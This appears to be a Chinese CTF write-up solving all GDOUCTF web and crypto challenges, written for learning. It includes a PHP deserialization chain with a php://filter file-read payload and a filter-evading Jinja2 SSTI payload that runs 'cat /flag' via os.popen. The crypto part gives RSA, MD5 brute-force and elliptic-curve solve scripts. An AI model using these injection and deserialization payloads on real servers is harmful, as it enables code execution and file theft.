Bootstrap

GDOUCTF比赛WEB&CRYPTO方向全解!!

前言

本次wp的制作过程耗时比较长,也有一些代码源于大佬师傅们的exp,进行了一定的详细解释,有助于刚开始学习的师傅们可以看的懂,整体是比较细节的,会一步一步带大家去解题,一步步说明为什么要这样解题,题目考查了哪些知识点,希望对大家有所帮助!如有不当之处敬请批评指正!

Web

hate eat snake

考点:界面修改js

解题:

首先看到是一个贪吃蛇游戏界面,类似这种游戏比如下象棋之类的都可能是对界面的js进行修改达到某种效果。

然后根据题目描述:cancanwordnewnew去js界面看看有什么相关信息。

匹配到new信息

常规姿势:在控制台中修改地图大小,给Snake函数传递默认参数

其他姿势:

根据题目游戏界面信息,发现60分以上才弹出flag,继续浏览js的内容,发现里面有调整score的地方

 Snake.prototype = {
 
 getScore:function(){
 ///
 var score = Math.round((this.timeCounter + new Date().getTime() - this.startTime) / 1000);
 /
 return score;
 },
     
 }

发现这个在这个里面可以修改分数,那直接调整分数直接弹窗就好了

嘿嘿,成功弹窗

EZ WEB

考点:源码泄露,PUT请求

解题:

界面没什么有用的信息,查看一下源码,发现访问目录位置

访问后自动下载之后成功得到源码

 import flask
 
 app = flask.Flask(__name__)
 
 @app.route('/', methods=['GET'])
 def index():
   return flask.send_file('index.html')
 
 @app.route('/src', methods=['GET'])
 def source():
   return flask.send_file('app.py')
 
 @app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
 def flag():
   return open('flag').read()

最后一句锁定目标,用PUT发送请求到该目录位置

利用burpsuite进行抓包,发送请求

成功获取flag

受不了一点

考点:php语言特性利用

解题:

进入界面非常板正的一片php语言

  <?php
 error_reporting(0);
 header("Content-type:text/html;charset=utf-8");
 if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
     $b=$_POST['ctf'];
     $a=$_POST['gdou'];
     if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
         if(isset($_COOKIE['cookie'])){
            if ($_COOKIE['cookie']=='j0k3r'){
                if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                   $aaa=$_GET['aaa'];
                   $bbb=$_GET['bbb'];
                  if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                    $give = 'cancanwordflag';
                    $get ='hacker!';
                      //有一个不设置即可绕过
                    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
                          die($give);
                    }
                     //都不能直接传flag = flag
                    if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                        die($get);
                    }
                     foreach ($_POST as $key => $value) {
                         $$key = $value;
                    }
                     foreach ($_GET as $key => $value) {
                          $$key = $$value;
                    }
                    echo $flag;
            }else{
                   echo "洗洗睡吧";
                  }
    }else{
         echo "行不行啊细狗";
        }
  }
 }
 else {
   echo '菜菜';
 }
 }else{
   echo "就这?";
 }
 }else{
   echo "别来沾边";
 }
 ?> 别来沾边    //这个地方“别来沾边”是页面的回显

常规解题需要一层一层的揭开if语句条件的限制,耐心一点,最终一定可以获得flag

开始一道一道的攻破

首先传入两个参数,成功绕过第一层限制

然后进行绕过md5相等的匹配限制,把两个参数类型变为数组即可骗过md5验证。

然后传入cookie值

然后在此基础上传入GET型参数

然后对这两个参数按照要求赋值,两个数字即需要满足都是114514 并且两个值又不能相等,在末尾加个字符就好了

最后需要通过POST和GET的组合传参去使得echo出正确的flag,过程有点绕,所以拉出源码仔细分析一下

 foreach ($_POST as $key => $value) {
     $$key = $value;
 }
 foreach ($_GET as $key => $value) {
      $$key = $$value;
 }
 echo $flag;

foreach:值遍历函数 按照括号里面的内容也可以理解,就是把POST或者是GET传来的内容作为key 然后还有一个value值,先给出正确姿势后进行剖析

先分析POST传参的内容:$key = a   $_value = flag  注意内部的$符号个数,然后执行为:  $a= flag

然后依次进行两个get型的遍历:$a = $flag     $flag = $a

最终需要 $flag = $flag 才能使得flag变量的值不会改变

因为这两个foreach必须执行结束才会echo,所以设置一个初始变量a,然后在get中进行覆盖。

成功得到flag!

泄露的伪装

考点:源码泄露 php伪协议

解题:

首先打开界面没有任何东西,查看页面源代码也没有任何东西,所以直接dirsearch一下,确实发现网页压缩包

访问后给出提示

访问后得到源码

很显然,get传参数cxk   然后读取cxk这个变量名的文件,如果这个文件里面的内容是ctrl则返回为真

利用php伪协议当文件名参数设置为php://input就会输出post里面写入的内容作为文件的内容,且这个post中读取的数据当做php代码执行,故还可以导致任意代码执行,当然我们这道题用不到

到此成功获取flag!

反方向的钟

考点:php反序列化利用

解题:

题目源代码:

  <?php
 error_reporting(0);
 highlight_file(__FILE__);
 // flag.php
 class teacher{
     public $name;
     public $rank;
     private $salary;
     public function __construct($name,$rank,$salary = 10000){
         $this->name = $name;
         $this->rank = $rank;
         $this->salary = $salary;
    }
 }
 
 class classroom{
     public $name;
     public $leader;
     public function __construct($name,$leader){
         $this->name = $name;
         $this->leader = $leader;
    }
     public function hahaha(){
         if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
             return False;
        }
         else{
             return True;
        }
    }
 }
 
 class school{
     public $department;
     public $headmaster;
     public function __construct($department,$ceo){
         $this->department = $department;
         $this->headmaster = $ceo;
    }
     public function IPO(){
         if($this->headmaster == 'ong'){
             echo "Pretty Good ! Ctfer!\n";
             echo new $_POST['a']($_POST['b']);
        }
    }
     public function __wakeup(){
         if($this->department->hahaha()) {
             $this->IPO();
        }
    }
 }
 
 if(isset($_GET['d'])){
     unserialize(base64_decode($_GET['d']));
 }
 ?>

很明确,我们需要读取flag.php文件里面的内容

第一步:删除无效信息

 <?php
 // flag.php
 class teacher{
     public $name;
     public $rank;
     private $salary;
     // public function __construct($name,$rank,$salary = 10000){
     //     $this->name = $name;
     //     $this->rank = $rank;
     //     $this->salary = $salary;
     // }
 }
 
 class classroom{
     public $name;
     public $leader;
     // public function __construct($name,$leader){
     //     $this->name = $name;
     //     $this->leader = $leader;
     // }
     // public function hahaha(){
     //     if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
     //         return False;
     //     }
     //     else{
     //         return True;
     //     }
     // }
 }
 
 class school{
     public $department;
     public $headmaster;
     // public function __construct($department,$ceo){     //new对象的时候触发
     //     $this->department = $department;
     //     $this->headmaster = $ceo;
     // }
     // public function IPO(){
     //     if($this->headmaster == 'ong'){
     //         echo "Pretty Good ! Ctfer!\n";
     //         echo new $_POST['a']($_POST['b']);
     //     }
     // }
     // public function __wakeup(){
     //     if($this->department->hahaha()) {
     //         $this->IPO();
     //     }
     // }
 }
 
 // if(isset($_GET['d'])){
 //     unserialize(base64_decode($_GET['d']));
 // }
 ?>

构造语句:

 //创建函数调用函数_construct函数
 $a = new school();
 //赋值
 $a -> headmaster = 'ong';
 $a -> department = new classroom();
 
 $a -> department -> name = 'one class';
 $a -> department -> leader = new teacher();
 
 $a -> department -> leader -> name = 'ing';
 $a -> department -> leader -> rank = 'department';
 
 echo(base64_encode(serialize($a)));

到此成功进入IPO函数中

然后通过题目的下一句POST信息进行读取文件

证明成功打入到这个语句内部了,下面看到存在一个new 并且 是 __( _ )这种格式,就想到可以利用php里面的原生类进行文件读取flag.php(题目代码中明确标注了这个名字)的工作

 a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

成功获取一段base64

解密后成功得到flag!

<ez_ze>

考点:SSTI模板注入

解题:

直接可以使用的payload,已表明原文链接:

 name={%set pop=dict(po=a,p=b)|join%}
 {%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
 {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
 {%set get=dict(get=a)|join%}
 {%set shell=dict(o=a,s=b)|join%}
 {%set c=dict(po=a,pen=b)|join%}
 {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
 {%set ch=dict(ch=a,r=b)|join%}
 {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
 {%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
 {%set read=dict(read=a)|join%}
 {%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(c)(command)|attr(read)()%}
 {%print result%}
 ————————————————
 版权声明:本文为CSDN博主「a cainiaoxiaobai」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
 原文链接:https://blog.csdn.net/m0_63441547/article/details/130185563
  • 对payload进行拆解分析,理解每一行的含义以及作用是什么!

 {%print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}
 #在没有过滤的情况下上面这个语句是用来读取flag的,但是现在存在很多符号,命令被过滤了,比如下划线,popen字符串等等,所以我们需要通过接下来奇奇怪怪的方法去绕过这些过滤!
 
 {%set pop=dict(po=a,p=b)|join%}  #创建了一个字典‘pop’ 两个变量是a和b然后会转换拼接为字符串“pop”
 
 {%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}  #因为被过滤,获取下划线名为“xiahuaxian”
 #然后拼接形成“__globals__"
 {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
 #设置一个变量的名字叫做globals,变量名可以是这种关键字,但是对于里面的字符串内容需要使用字典的这种方法进行绕过
 
 #获得字符串“get”
 {%set get=dict(get=a)|join%}
 #获得字符串“os”
 {%set shell=dict(o=a,s=b)|join%}
 #获得字符串“popen”
 {%set c=dict(po=a,pen=b)|join%}   #不能命名为popen=dict... 会被过滤
 
 {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
 
 #获得字符串“chr”
 {%set ch = dict(ch=a,r=b)|join%}
 #设置char变量用于读取字符
 {%set char = (lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
 #通过一个个字符的方法去获得构造语句“cat /flag"
 {%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
 #设置read变量获得字符串”read“
 {%set read = dict(read=a)|join%}
 #最后的是通过构造的注入语句将执行后的结果放到result中最后打印输出
 {%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(c)(command)|attr(read)()%}
 {%print result%}

Crypto

Normal_Rsa(revenge)

考点:对于rsa算法本质的理解

解题:

首先在题目中提取加密原理信息

 from Crypto.Util.number import *
 #from shin import flag
 
 
 m=bytes_to_long(b'HDCTF{******}')
 e=65537
 p=getPrime(256)
 q=getPrime(512)
 r=getPrime(512)
 n=p*q*r
 P=pow(p,2,n)
 Q=pow(q,2,n)
 c=pow(m,e,n)
 print(f"P = {P}")
 print(f"Q = {Q}")
 print(f"n = {n}")
 print(f"c = {c}")
 '''
 P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
 Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
 n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
 c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
 '''

首先我们知道:

P=p^2(mod n)

Q=q^2(mod n)

这样通过开平方就可以得到p,q  进而得知r

p,q,r是n分解的三个素数  

然后可知n的欧拉函数就是分解的每个素数减1后相乘

phi = (p - 1) * (q - 1) * (r - 1)

然后要去获取密钥d

d 是e对于phi的模反元素:ed ≡ 1 (mod phi)

最后明文m = c^d(mod n)

编写解密Python脚本

 import gmpy2
 from Crypto.Util.number import *
 
 P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
 Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
 n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
 c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
 e = 65537
 p = gmpy2.iroot(P,2)[0]   #中括号0表示取整数部分
 q = gmpy2.iroot(Q,2)[0]
 r = n // (p * q)          #双除号表示取整
 phi = (p - 1) * (q - 1) * (r - 1)
 d = gmpy2.invert(e, phi)
 m = pow(c,d,n)
 print(long_to_bytes(int(m)))

成功获得flag!

Absolute_Baby_Encryption

考点:古典密码单表置换

解题:

打开后发现提供了加密方式

最简单但是稍微麻烦就是手工把每一组进行对换,然后因为是js语句,直接在任意网页的控制台运行该脚本,输入附件中的密文就可以得到flag!

babylua

考点:加密方式的解读与MD5爆破

解题:

附件下载后有一个md5的文件没有任何用,只是说明md5的工作的与解题无关不用看,然后直奔以题目命名的babylua加密文本

 local flag = '' --这里是你要逆推出的flag
 local md5 = require("md5")
 
 math.randomseed(os.time())
 
 local function randomStr(len)   --不需要知道里面是怎么运行的只需要按照名称知道这是一个生成指定长度的随机字符串的函数就好
 --     local rankStr = ""
 --     local randNum = 0
 --     for i = 1, len do
 --         randNum = math.random(1, 2)
 --         if randNum == 1 then
 --             rankStr = rankStr .. string.char(math.random(65, 90))
 --         elseif randNum == 2 then
 --             rankStr = rankStr .. string.char(math.random(97, 122))
 --         end
 --     end
 --     return rankStr
 -- end
 
 local seed = randomStr(4)   --随机生成一个4位长的字符串给seed
 local key = md5.sumhexa(md5.sumhexa(seed))   --MD5自带摘要函数两次
 print(key:sub(1,10))           --打印这个key的前10位
 --b5e62abe84
 secret = {}   --开创secret数组
 
 for i = 1, #flag do    --遍历flag里面的每一个字符进行与key对应加密结果放到secret数组中
     secret[i] = string.byte(flag:sub(i,i)) + string.byte(key:sub(i,i))
 end
 
 --最后输出secret里面的内容
 for i, v in ipairs(secret) do
     io.write(v, ' ')
 end
 
 print()
 --200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
 
 --程序运行输出结果:
 --b5e62abe84
 --200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225
 --请你分析代码,逆向推出flag

题目的分析已经在注释中写出了,主要是有一些语法可能不清楚,但是并不影响对题目加密方式的理解,甚至包括一些函数我们并不需要知道他是怎么去运行的,而是知道他的效果是什么,本质是什么即可对应写出解密的脚本

加密流程总结:

  1. 首先是随机产生4位长的种子(庆幸只有4位长度比较短才有爆破的机会)

  2. 然后对这4位长的种子进行两次md5摘要加密存为密钥key

  3. 然后将flag的每一位和key的每一位相加放到secret数组中

解密脚本:

 from hashlib import md5
 
 #已知信息
 key = 'b5e62abe84'
 secret=[200,161,198,157,173,169,199,150,105,163,193,175,173,194,135,131,135,225]
 flag = ''
 finalKey= ''
 #爆破找出原始长度为4的随机字符串seed
 for i in range(65,123):
     for j in range(65,123):
         for k in range(65,123):
             for l in range(65,123):
                 #chr()的功能是把ascii码转换为字符
                 originalSeed=chr(i)+chr(j)+chr(k)+chr(l)
                 #两次MD5摘要 encode()方法将originalSeed字符串编码为字节序列(bytes),然后传递给md5()函数计算MD5摘要
                 a = md5(originalSeed.encode()).hexdigest()
                 b = md5(a.encode()).hexdigest()
                 #如果爆破后的值与key相同则表明爆破成功
                 if(b[:10]==key):
                     print(b)
                     finalKey = b
                     break
 for i in range(len(secret)):
     #ord()的功能是把字符转换成ascii码值
     flag += chr(secret[i] - ord(finalKey[i]))
 print(flag)

最终结果:

到此成功获取flag!

Math problem

考点:椭圆曲线加密(ECC)     RSA算法

解题:

题目:

 #!/usr/bin/env sage
 import secret
 from Crypto.Util.number import *
 
 #首先明确这个flag在rsa算法中,然后妄想通过在线网站分解n 但是太天真了,需要通过下面的椭圆曲线求得模数p
 p, q = getPrime(512), getPrime(512)
 e, n = 0x10001, p * q
 c = pow(bytes_to_long(secret.flag), e, n)
 print(f"{e = }\n{n = }\n{c = }")
 
 #把椭圆曲线定义在域上 在域上进行加减乘除后结果仍然在域上
 #如果域F只包含有限个元素,则称其为有限域 有限域的阶可表示为p^n (p是素数 n是正整数)
 #该有限域记作GF(p^n)   保证结果一直在集合里面则进行取模操作
 
 a, b = getPrime(512), getPrime(512)
 #创建一个椭圆曲线对象E 模数是p 两个参数分别是a和b
 E = EllipticCurve(GF(p), [a, b])
 #通过lift_x方法生成在E框架下的一个点G的x坐标就是括号里的参数
 G = E.lift_x(ZZ(getPrime(64)))
 #后面通过调用xy方法输出G点的y坐标
 print(f"{a = }\n{b = }\ny = {G.xy()[1]}")
 
 '''
 e = 65537
 n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
 
 c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
 a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
 b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
 y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854
 '''

解题:

 #求出G点的x坐标
 R.<x> = PolynomialRing(Zmod(n))
 f=x**3+a*x+b-y**2
 f=f.monic()
 x0 = f.small_roots(X=2^64, beta=0.4,epsilon=0.01)
 print(x0)
 x=9757458594430450711

 #求出rsa需要的p
 #y^2=x^3+a*x+b (mod p),那么就有kp=x^3+a*x+b-y^2 如果时负数取绝对值就好了
 kp=pow(y,2)-b-a*x-x**3
 import gmpy2
 p=gmpy2.gcd(kp,n)

 #输出最终结果
 q=n//p
 d=gmpy2.invert(e,(p-1)*(q-1))
 m=pow(c,d,n)
 print(long_to_bytes(m))

合并之后为:

 from Crypto.Util.number import *
 import gmpy2
 
 e = 65537
 n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877
 c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008
 a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619
 b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913
 y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854
 R.<x> = PolynomialRing(Zmod(n))
 f=x**3+a*x+b-y**2
 f=f.monic()
 x0 = f.small_roots(X=2^64, beta=0.4,epsilon=0.01)[0]
 x=int(x0)
 kp=pow(y,2)-b-a*x-x**3
 p=gmpy2.gcd(kp,n)
 q=n//p
 d=gmpy2.invert(e,(p-1)*(q-1))
 m=pow(c,d,n)
 print(long_to_bytes(int(m)))

注意一定是在sage这个程序中,如果师傅是第一次接触这个,附下载链接:https://mirrors.aliyun.com/sagemath/win/index.html

到此成功获得flag!

以上就是本次GDOUCTF比赛在web和crypto方向的全部wp了,感谢师傅们的耐心阅读,希望能对大家有所帮助!

我是哈皮,祝您每天嗨皮,我们下期再见!

;